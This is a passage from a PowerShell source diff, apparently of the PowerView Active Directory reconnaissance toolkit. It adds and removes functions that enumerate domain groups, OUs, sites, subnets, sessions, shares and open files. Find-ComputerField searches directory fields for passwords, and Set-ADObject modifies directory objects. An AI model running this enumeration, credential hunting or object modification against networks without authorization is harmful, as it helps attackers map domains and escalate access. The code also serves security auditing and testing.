([ADSI]"WinNT://$HostName/$GroupName,group").add("WinNT://$HostName/$UserName,user") - "[*] User $UserName successfully added to group $GroupName on $HostName" - } - catch{ - Write-Warning "[!] Error adding user $UserName to group $GroupName on $HostName" - return - } - } + .PARAMETER PropertyName - # otherwise it's a local or domain add - else{ - if ($Domain){ - $ct = [System.DirectoryServices.AccountManagement.ContextType]::Domain - $d = Get-NetDomain -Domain $Domain - if(-not $d){ - return $Null - } - } - else{ - # otherwise, get the local machine context - $ct = [System.DirectoryServices.AccountManagement.ContextType]::Machine - } + The property name to set. - # get the full principal context - $context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $ct, $d + .PARAMETER PropertyValue - # find the particular group - $group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($context,$GroupName) + The value to set for PropertyName - # add the particular user to the group - $group.Members.add($context, [System.DirectoryServices.AccountManagement.IdentityType]::SamAccountName, $UserName) + .PARAMETER ClearValue - # commit the changes - $group.Save() - } -} + Switch. Clear the value of PropertyName + .EXAMPLE -function Get-NetFileServers { - <# - .SYNOPSIS - Returns a list of all file servers extracted from user - homedirectory, scriptpath, and profilepath fields. + PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0 + + Set the countrycode for matt.admin to 0 +#> - .PARAMETER Domain - The domain to query for user file servers. + [CmdletBinding()] + Param ( + [String] + $SID, - .EXAMPLE - > Get-NetFileServers - Returns active file servers. + [String] + $Name, - .EXAMPLE - > Get-NetFileServers -Domain testing - Returns active file servers for the 'testing' domain. - #> + [String] + $SamAccountName, - [CmdletBinding()] - param( - [string] - $Domain - ) + [String] + $Domain, - $Servers = @() + [String] + $DomainController, - Get-NetUser -Domain $Domain | % { - if($_.homedirectory){ - $temp = $_.homedirectory.split("\\")[2] - if($temp -and ($temp -ne '')){ - $Servers += $temp - } + [Parameter(Mandatory = $True)] + [String] + $PropertyName, + + $PropertyValue, + + [Switch] + $ClearValue + ) + + $Arguments = @{ + 'SID' = $SID + 'Name' = $Name + 'SamAccountName' = $SamAccountName + 'Domain' = $Domain + 'DomainController' = $DomainController + } + # splat the appropriate arguments to Get-ADObject + $RawObject = Get-ADObject -ReturnRaw @Arguments + + try { + # get the modifiable object for this search result + $Entry = $RawObject.GetDirectoryEntry() + + # if the property name doesn't already exist + if(!$Entry.$PropertyName) { + $Entry.put($PropertyName, $PropertyValue) + $Entry.setinfo() } - if($_.scriptpath){ - $temp = $_.scriptpath.split("\\")[2] - if($temp -and ($temp -ne '')){ - $Servers += $temp + + else { + if($ClearValue) { + # remove the value fromt the entry + Write-Verbose "Clearing value" + $Entry.$PropertyName.clear() } - } - if($_.profilepath){ - $temp = $_.profilepath.split("\\")[2] - if($temp -and ($temp -ne '')){ - $Servers += $temp + else { + # resolve this property's type name so as can properly set it + $TypeName = $Entry.$PropertyName[0].GetType().name + $Entry.$PropertyName = $PropertyValue -as $TypeName } + + $Entry.commitchanges() } } - - # uniquify the fileserver list and return it - $($Servers | Sort-Object -Unique) + catch { + Write-Warning "Error setting property $PropertyName to value '$PropertyValue' for object $($RawObject.Properties.samaccountname) : $_" + } } -function Get-NetShare { - <# - .SYNOPSIS - Gets share information for a specified server. +function Get-ComputerProperty { +<# + .SYNOPSIS - .DESCRIPTION - This function will execute the NetShareEnum Win32API call to query - a given host for open shares. This is a replacement for - "net share \\hostname" + Returns a list of all computer object properties. If a property + name is specified, it returns all [computer:property] values. - .PARAMETER HostName - The hostname to query for shares. + Taken directly from @obscuresec's post: + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html - .OUTPUTS - SHARE_INFO_1 structure. A representation of the SHARE_INFO_1 - result structure which includes the name and note for each share. + .PARAMETER Properties - .EXAMPLE - > Get-NetShare - Returns active shares on the local host. + Return property names for computers. - .EXAMPLE - > Get-NetShare -HostName sqlserver - Returns active shares on the 'sqlserver' host - #> + .PARAMETER Domain + + The domain to query for computer properties, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .EXAMPLE + + PS C:\> Get-ComputerProperty -Domain testing + + Returns all user properties for computers in the 'testing' domain. + + .EXAMPLE + + PS C:\> Get-ComputerProperty -Properties ssn,lastlogon,location + + Returns all an array of computer/ssn/lastlogin/location combinations + for computers in the current domain. + + .LINK + + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html +#> [CmdletBinding()] param( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = 'localhost' - ) + [String[]] + $Properties, - begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } + [String] + $Domain, - process { + [String] + $DomainController + ) - # process multiple object types - $HostName = Get-NameField $HostName + if($Properties) { + # extract out the set of all properties for each object + $Properties = ,"name" + $Properties | Sort-Object -Unique + Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData | Select-Object -Property $Properties + } + else { + # extract out just the property names + Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name" + } +} - # arguments for NetShareEnum - $QueryLevel = 1 - $ptrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 - # get the share information - $Result = $Netapi32::NetShareEnum($HostName, $QueryLevel,[ref]$ptrInfo,-1,[ref]$EntriesRead,[ref]$TotalRead,[ref]$ResumeHandle) +function Find-ComputerField { +<# + .SYNOPSIS - # Locate the offset of the initial intPtr - $offset = $ptrInfo.ToInt64() + Searches computer object fields for a given word (default *pass*). Default + field being searched is 'description'. - Write-Debug "Get-NetShare result: $Result" + Taken directly from @obscuresec's post: + http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html - # 0 = success - if (($Result -eq 0) -and ($offset -gt 0)) { + .PARAMETER SearchTerm - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $SHARE_INFO_1::GetSize() + Term to search for, default of "pass". - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++){ - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $newintptr = New-Object system.Intptr -ArgumentList $offset - $Info = $newintptr -as $SHARE_INFO_1 - # return all the sections of the structure - $Info | Select-Object * - $offset = $newintptr.ToInt64() - $offset += $increment - } - # free up the result buffer - $Netapi32::NetApiBufferFree($ptrInfo) | Out-Null - } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } - } - } -} + .PARAMETER SearchField + User field to search in, default of "description". -function Get-NetLoggedon { - <# - .SYNOPSIS - Gets users actively logged onto a specified server. + .PARAMETER Domain - .DESCRIPTION - This function will execute the NetWkstaUserEnum Win32API call to query - a given host for actively logged on users. + Domain to search computer fields for, defaults to the current domain. - .PARAMETER HostName - The hostname to query for logged on users. + .PARAMETER DomainController - .OUTPUTS - WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1 - result structure which includes the username and domain of logged on users. + Domain controller to reflect LDAP queries through. - .EXAMPLE - > Get-NetLoggedon - Returns users actively logged onto the local host. + .EXAMPLE - .EXAMPLE - > Get-NetLoggedon -HostName sqlserver - Returns users actively logged onto the 'sqlserver' host. + PS C:\> Find-ComputerField -SearchTerm backup -SearchField info - .LINK - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ - #> + Find computer accounts with "backup" in the "info" field. +#> [CmdletBinding()] param( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = 'localhost' + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Term')] + [String] + $SearchTerm = 'pass', + + [Alias('Field')] + [String] + $SearchField = 'description', + + [String] + $Domain, + + [String] + $DomainController ) - begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } + process { + Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter "($SearchField=*$SearchTerm*)" | Select-Object samaccountname,$SearchField } +} - process { - # process multiple object types - $HostName = Get-NameField $HostName +function Get-NetOU { +<# + .SYNOPSIS - # Declare the reference variables - $QueryLevel = 1 - $ptrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 + Gets a list of all current OUs in a domain. - # get logged on user information - $Result = $Netapi32::NetWkstaUserEnum($HostName, $QueryLevel,[ref]$PtrInfo,-1,[ref]$EntriesRead,[ref]$TotalRead,[ref]$ResumeHandle) + .PARAMETER OUName - # Locate the offset of the initial intPtr - $offset = $ptrInfo.ToInt64() + The OU name to query for, wildcards accepted. - Write-Debug "Get-NetLoggedon result: $Result" + .PARAMETER GUID - # 0 = success - if (($Result -eq 0) -and ($offset -gt 0)) { + Only return OUs with the specified GUID in their gplink property. - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $WKSTA_USER_INFO_1::GetSize() + .PARAMETER Domain - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++){ - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $newintptr = New-Object system.Intptr -ArgumentList $offset - $Info = $newintptr -as $WKSTA_USER_INFO_1 - # return all the sections of the structure - $Info | Select-Object * - $offset = $newintptr.ToInt64() - $offset += $increment + The domain to query for OUs, defaults to the current domain. - } - # free up the result buffer - $Netapi32::NetApiBufferFree($PtrInfo) | Out-Null - } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } - } - } -} + .PARAMETER DomainController + Domain controller to reflect LDAP queries through. -function Get-NetConnections { - <# - .SYNOPSIS - Gets active connections to a server resource. + .PARAMETER ADSpath - .DESCRIPTION - This function will execute the NetConnectionEnum Win32API call to query - a given host for users connected to a particular resource. + The LDAP source to search through. - Note: only members of the Administrators or Account Operators local group - can successfully execute NetFileEnum + .PARAMETER FullData + + Switch. Return full OU objects instead of just object names (the default). - .PARAMETER HostName - The hostname to query. + .EXAMPLE - .PARAMETER Share - The share to check connections to. + PS C:\> Get-NetOU + + Returns the current OUs in the domain. - .OUTPUTS - CONNECTION_INFO_1 structure. A representation of the CONNECTION_INFO_1 - result structure which includes the username host of connected users. + .EXAMPLE - .EXAMPLE - > Get-NetConnections -HostName fileserver -Share secret - Returns users actively connected to the share 'secret' on a fileserver. + PS C:\> Get-NetOU -OUName *admin* -Domain testlab.local + + Returns all OUs with "admin" in their name in the testlab.local domain. - .LINK - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ - #> + .EXAMPLE + + PS C:\> Get-NetOU -GUID 123-... + + Returns all OUs with linked to the specified group policy object. +#> [CmdletBinding()] - param( + Param ( [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = 'localhost', + [String] + $OUName = '*', + + [String] + $GUID, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, - [string] - $Share = "C$" + [Switch] + $FullData ) begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } + $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath } - process { + if ($OUSearcher) { + if ($GUID) { + # if we're filtering for a GUID in .gplink + $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName)(gplink=*$GUID*))" + } + else { + $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))" + } - # process multiple object types - $HostName = Get-NameField $HostName + $OUSearcher.PageSize = 200 - # arguments for NetConnectionEnum - $QueryLevel = 1 - $ptrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 + $OUSearcher.FindAll() | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + else { + # otherwise just returning the ADS paths of the OUs + $_.properties.adspath + } + } + } + } +} - # get connection information - $Result = $Netapi32::NetConnectionEnum($HostName, $Share, $QueryLevel,[ref]$ptrInfo,-1,[ref]$EntriesRead,[ref]$TotalRead,[ref]$ResumeHandle) - # Locate the offset of the initial intPtr - $offset = $ptrInfo.ToInt64() +function Get-NetSite { +<# + .SYNOPSIS - Write-Debug "Get-NetConnection result: $Result" + Gets a list of all current sites in a domain. - # 0 = success - if (($Result -eq 0) -and ($offset -gt 0)) { + .PARAMETER SiteName - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $CONNECTION_INFO_1::GetSize() + Site filter string, wildcards accepted. - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++){ - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $newintptr = New-Object system.Intptr -ArgumentList $offset - $Info = $newintptr -as $CONNECTION_INFO_1 - # return all the sections of the structure - $Info | Select-Object * - $offset = $newintptr.ToInt64() - $offset += $increment + .PARAMETER Domain - } - # free up the result buffer - $Netapi32::NetApiBufferFree($PtrInfo) | Out-Null - } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } - } - } -} + The domain to query for sites, defaults to the current domain. + .PARAMETER DomainController -function Get-NetSessions { - <# - .SYNOPSIS - Gets active sessions for a specified server. - Heavily adapted from dunedinite's post on stackoverflow (see LINK below) + Domain controller to reflect LDAP queries through. - .DESCRIPTION - This function will execute the NetSessionEnum Win32API call to query - a given host for active sessions on the host. + .PARAMETER ADSpath - .PARAMETER HostName - The hostname to query for active sessions. + The LDAP source to search through. - .PARAMETER UserName - The user name to filter for active sessions. + .PARAMETER GUID - .OUTPUTS - SESSION_INFO_10 structure. A representation of the SESSION_INFO_10 - result structure which includes the host and username associated - with active sessions. + Only return site with the specified GUID in their gplink property. - .EXAMPLE - > Get-NetSessions - Returns active sessions on the local host. + .PARAMETER FullData - .EXAMPLE - > Get-NetSessions -HostName sqlserver - Returns active sessions on the 'sqlserver' host. + Switch. Return full site objects instead of just object names (the default). - .LINK - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ - #> + .EXAMPLE + + PS C:\> Get-NetSite -Domain testlab.local -FullData + + Returns the full data objects for all sites in testlab.local +#> [CmdletBinding()] - param( + Param ( [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = 'localhost', - - [string] - $UserName = '' - ) - - begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { - - # process multiple object types - $HostName = Get-NameField $HostName + [String] + $SiteName = "*", - # arguments for NetSessionEnum - $QueryLevel = 10 - $ptrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 + [String] + $Domain, - # get session information - $Result = $Netapi32::NetSessionEnum($HostName, '', $UserName, $QueryLevel,[ref]$ptrInfo,-1,[ref]$EntriesRead,[ref]$TotalRead,[ref]$ResumeHandle) + [String] + $DomainController, - # Locate the offset of the initial intPtr - $offset = $ptrInfo.ToInt64() + [String] + $ADSpath, - Write-Debug "Get-NetSessions result: $Result" + [String] + $GUID, - # 0 = success - if (($Result -eq 0) -and ($offset -gt 0)) { + [Switch] + $FullData + ) - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $SESSION_INFO_10::GetSize() + begin { + $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -ADSprefix "CN=Sites,CN=Configuration" + } + process { + if($SiteSearcher) { - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++){ - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $newintptr = New-Object system.Intptr -ArgumentList $offset - $Info = $newintptr -as $SESSION_INFO_10 - # return all the sections of the structure - $Info | Select-Object * - $offset = $newintptr.ToInt64() - $offset += $increment + if ($GUID) { + # if we're filtering for a GUID in .gplink + $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName)(gplink=*$GUID*))" + } + else { + $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName))" + } + + $SiteSearcher.PageSize = 200 + try { + $SiteSearcher.FindAll() | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + else { + # otherwise just return the site name + $_.properties.name + } + } } - # free up the result buffer - $Netapi32::NetApiBufferFree($PtrInfo) | Out-Null - } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} + catch { + Write-Warning $_ } } } } -function Get-NetRDPSessions { - <# - .SYNOPSIS - Gets active RDP sessions for a specified server. - This is a replacement for qwinsta. +function Get-NetSubnet { +<# + .SYNOPSIS - .PARAMETER HostName - The hostname to query for active RDP sessions. + Gets a list of all current subnets in a domain. - .DESCRIPTION - This function will execute the WTSEnumerateSessionsEx and - WTSQuerySessionInformation Win32API calls to query a given - RDP remote service for active sessions and originating IPs. + .PARAMETER SiteName - Note: only members of the Administrators or Account Operators local group - can successfully execute this functionality on a remote target. + Only return subnets from the specified SiteName. - .OUTPUTS - A custom psobject with the HostName, SessionName, UserName, ID, connection state, - and source IP of the connection. + .PARAMETER Domain - .EXAMPLE - > Get-NetRDPSessions - Returns active RDP/terminal sessions on the local host. + The domain to query for subnets, defaults to the current domain. - .EXAMPLE - > Get-NetRDPSessions -HostName "sqlserver" - Returns active RDP/terminal sessions on the 'sqlserver' host. - #> - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = 'localhost' - ) - - begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } + .PARAMETER DomainController - process { + Domain controller to reflect LDAP queries through. - # process multiple object types - $HostName = Get-NameField $HostName + .PARAMETER ADSpath - # open up a handle to the Remote Desktop Session host - $handle = $Wtsapi32::WTSOpenServerEx($HostName) + The LDAP source to search through. - # if we get a non-zero handle back, everything was successful - if ($handle -ne 0){ + .PARAMETER FullData - Write-Debug "WTSOpenServerEx handle: $handle" + Switch. Return full subnet objects instead of just object names (the default). - # arguments for WTSEnumerateSessionsEx - $pLevel = 1 - $filter = 0 - $ppSessionInfo = [IntPtr]::Zero - $pCount = 0 - - # get information on all current sessions - $Result = $Wtsapi32::WTSEnumerateSessionsEx($handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount) + .EXAMPLE - # Locate the offset of the initial intPtr - $offset = $ppSessionInfo.ToInt64() + PS C:\> Get-NetSubnet + + Returns all subnet names in the current domain. - Write-Debug "WTSEnumerateSessionsEx result: $Result" - Write-Debug "pCount: $pCount" + .EXAMPLE - if (($Result -ne 0) -and ($offset -gt 0)) { + PS C:\> Get-NetSubnet -Domain testlab.local -FullData + + Returns the full data objects for all subnets in testlab.local +#> - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $WTS_SESSION_INFO_1::GetSize() + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $SiteName = "*", - # parse all the result structures - for ($i = 0; ($i -lt $pCount); $i++){ - - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $newintptr = New-Object system.Intptr -ArgumentList $offset - $Info = $newintptr -as $WTS_SESSION_INFO_1 + [String] + $Domain, - $out = New-Object psobject - if (-not $Info.pHostName){ - # if no hostname returned, use the specified hostname - $out | Add-Member Noteproperty 'HostName' $HostName - } - else{ - $out | Add-Member Noteproperty 'HostName' $Info.pHostName - } - $out | Add-Member Noteproperty 'SessionName' $Info.pSessionName - if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')){ - $out | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" - } - else { - $out | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" - } - $out | Add-Member Noteproperty 'ID' $Info.SessionID - $out | Add-Member Noteproperty 'State' $Info.State + [String] + $ADSpath, - $ppBuffer = [IntPtr]::Zero - $pBytesReturned = 0 + [String] + $DomainController, - # query for the source client IP - # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx - $Result2 = $Wtsapi32::WTSQuerySessionInformation($handle,$Info.SessionID,14,[ref]$ppBuffer,[ref]$pBytesReturned) - $offset2 = $ppBuffer.ToInt64() - $newintptr2 = New-Object System.Intptr -ArgumentList $offset2 - $Info2 = $newintptr2 -as $WTS_CLIENT_ADDRESS - $ip = $Info2.Address - if($ip[2] -ne 0){ - $SourceIP = [string]$ip[2]+"."+[string]$ip[3]+"."+[string]$ip[4]+"."+[string]$ip[5] - } + [Switch] + $FullData + ) - $out | Add-Member Noteproperty 'SourceIP' $SourceIP - $out + begin { + $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" + } - # free up the memory buffer - $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) + process { + if($SubnetSearcher) { + + $SubnetSearcher.filter="(&(objectCategory=subnet))" + $SubnetSearcher.PageSize = 200 + + try { + $SubnetSearcher.FindAll() | ForEach-Object { + if ($FullData) { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties | Where-Object { $_.siteobject -match "CN=$SiteName" } + } + else { + # otherwise just return the subnet name and site name + if ( ($SiteName -and ($_.properties.siteobject -match "CN=$SiteName,")) -or ($SiteName -eq '*')) { + + $SubnetProperties = @{ + 'Subnet' = $_.properties.name[0] + } + try { + $SubnetProperties['Site'] = ($_.properties.siteobject[0]).split(",")[0] + } + catch { + $SubnetProperties['Site'] = 'Error' + } - $offset += $increment + New-Object -TypeName PSObject -Property $SubnetProperties + } + } } - # free up the memory result buffer - $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) } - # Close off the service handle - $Null = $Wtsapi32::WTSCloseServer($handle) - } - else{ - # otherwise it failed - get the last error - $err = $Kernel32::GetLastError() - # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx - Write-Verbuse "LastError: $err" + catch { + Write-Warning $_ + } } } } -function Get-NetFiles { - <# - .SYNOPSIS - Get files opened on a remote server. +function Get-DomainSID { +<# + .SYNOPSIS - .DESCRIPTION - This function will execute the NetFileEnum Win32API call to query - a given host for information about open files. + Gets the SID for the domain. - Note: only members of the Administrators or Account Operators local group - can successfully execute NetFileEnum + .PARAMETER Domain - .PARAMETER HostName - The hostname to query for open files. + The domain to query, defaults to the current domain. - .PARAMETER TargetUser - Return files open only from this particular user. + .EXAMPLE - .PARAMETER TargetHost - Return files open only from this particular host. + C:\> Get-DomainSID -Domain TEST + + Returns SID for the domain 'TEST' +#> - .OUTPUTS - FILE_INFO_3 structure. A representation of the FILE_INFO_3 - result structure which includes the host and username associated - with active sessions. + param( + [String] + $Domain + ) - .EXAMPLE - > Get-NetFiles -HostName fileserver - Returns open files/owners on fileserver. + $FoundDomain = Get-NetDomain -Domain $Domain + + if($FoundDomain) { + # query for the primary domain controller so we can extract the domain SID for filtering + $PrimaryDC = $FoundDomain.PdcRoleOwner + $PrimaryDCSID = (Get-NetComputer -Domain $Domain -ComputerName $PrimaryDC -FullData).objectsid + $Parts = $PrimaryDCSID.split("-") + $Parts[0..($Parts.length -2)] -join "-" + } +} - .EXAMPLE - > Get-NetFiles -HostName fileserver -TargetUser john - Returns files opened on fileserver by 'john' - .EXAMPLE - > Get-NetFiles -HostName fileserver -TargetHost 192.168.1.100 - Returns files opened on fileserver from host 192.168.1.100 +function Get-NetGroup { +<# + .SYNOPSIS - .LINK - http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ - #> + Gets a list of all current groups in a domain, or all + the groups a given user/group object belongs to. - [CmdletBinding()] - param( - [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = 'localhost', + .PARAMETER GroupName - [string] - $TargetUser = '', + The group name to query for, wildcards accepted. - [string] - $TargetHost - ) + .PARAMETER SID - begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } + The group SID to query for. - # if a target host is specified, format/replace variables - if ($TargetHost){ - $TargetUser = "\\$TargetHost" - } - } + .PARAMETER UserName - process { + The user name (or group name) to query for all effective + groups of. - # process multiple object types - $HostName = Get-NameField $HostName + .PARAMETER Filter - # arguments for NetFileEnum - $QueryLevel = 3 - $ptrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 + A customized ldap filter string to use, e.g. "(description=*admin*)" - # get file information - $Result = $Netapi32::NetFileEnum($HostName, '', $TargetUser, $QueryLevel,[ref]$ptrInfo,-1,[ref]$EntriesRead,[ref]$TotalRead,[ref]$ResumeHandle) + .PARAMETER Domain - # Locate the offset of the initial intPtr - $offset = $ptrInfo.ToInt64() + The domain to query for groups, defaults to the current domain. - Write-Debug "Get-NetFiles result: $Result" + .PARAMETER DomainController - # 0 = success - if (($Result -eq 0) -and ($offset -gt 0)) { + Domain controller to reflect LDAP queries through. - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $FILE_INFO_3::GetSize() + .PARAMETER ADSpath - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++){ - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $newintptr = New-Object system.Intptr -ArgumentList $offset - $Info = $newintptr -as $FILE_INFO_3 - # return all the sections of the structure - $Info | Select-Object * - $offset = $newintptr.ToInt64() - $offset += $increment + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. - } - # free up the result buffer - $Netapi32::NetApiBufferFree($PtrInfo) | Out-Null - } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } - } - } -} + .PARAMETER AdminCount + Switch. Return group with adminCount=1. -function Get-NetFileSessions { - <# - .SYNOPSIS - Matches up Get-NetSessions with Get-NetFiles to see who - has opened files on the server and from where. + .PARAMETER FullData - .DESCRIPTION - Matches up Get-NetSessions with Get-NetFiles to see who - has opened files on the server and from where. + Switch. Return full group objects instead of just object names (the default). - .PARAMETER HostName - The hostname to query for open sessions/files. - Defaults to localhost. + .EXAMPLE - .PARAMETER OutFile - Output results to a specified csv output file. + PS C:\> Get-NetGroup + + Returns the current groups in the domain. - .EXAMPLE - > Get-NetFileSessions - Returns open file/session information for the localhost + .EXAMPLE - .EXAMPLE - > Get-NetFileSessions -HostName WINDOWS1 - Returns open file/session information for the WINDOWS1 host + PS C:\> Get-NetGroup -GroupName *admin* + + Returns all groups with "admin" in their group name. - .LINK - http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ - #> + .EXAMPLE + PS C:\> Get-NetGroup -Domain testing -FullData + + Returns full group data objects in the 'testing' domain +#> [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] - [string] - $HostName = 'localhost', + [String] + $GroupName = '*', - [string] - $OutFile + [String] + $SID, + + [String] + $UserName, + + [String] + $Filter, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $AdminCount, + + [Switch] + $FullData ) + begin { + $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath + } + process { + if($GroupSearcher) { - # process multiple object types - $HostName = Get-NameField $HostName + if($AdminCount) { + Write-Verbose "Checking for adminCount=1" + $Filter += "(admincount=1)" + } - # holder for our session data - $sessions=@{}; + if ($UserName) { + # get the raw user object + $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Filter '(samAccountType=805306368)' -ReturnRaw - # grab all the current sessions for the host - Get-Netsessions -HostName $HostName | ForEach-Object { $sessions[$_.sesi10_username] = $_.sesi10_cname }; + # convert the user to a directory entry + $UserDirectoryEntry = $User.GetDirectoryEntry() - # mesh the NetFiles data with the NetSessions data - $data = Get-NetFiles | Select-Object @{Name='Username';Expression={$_.fi3_username}},@{Name='Filepath';Expression={$_.fi3_pathname}},@{Name='Computer';Expression={$sess[$_.fi3_username]}} + # cause the cache to calculate the token groups for the user + 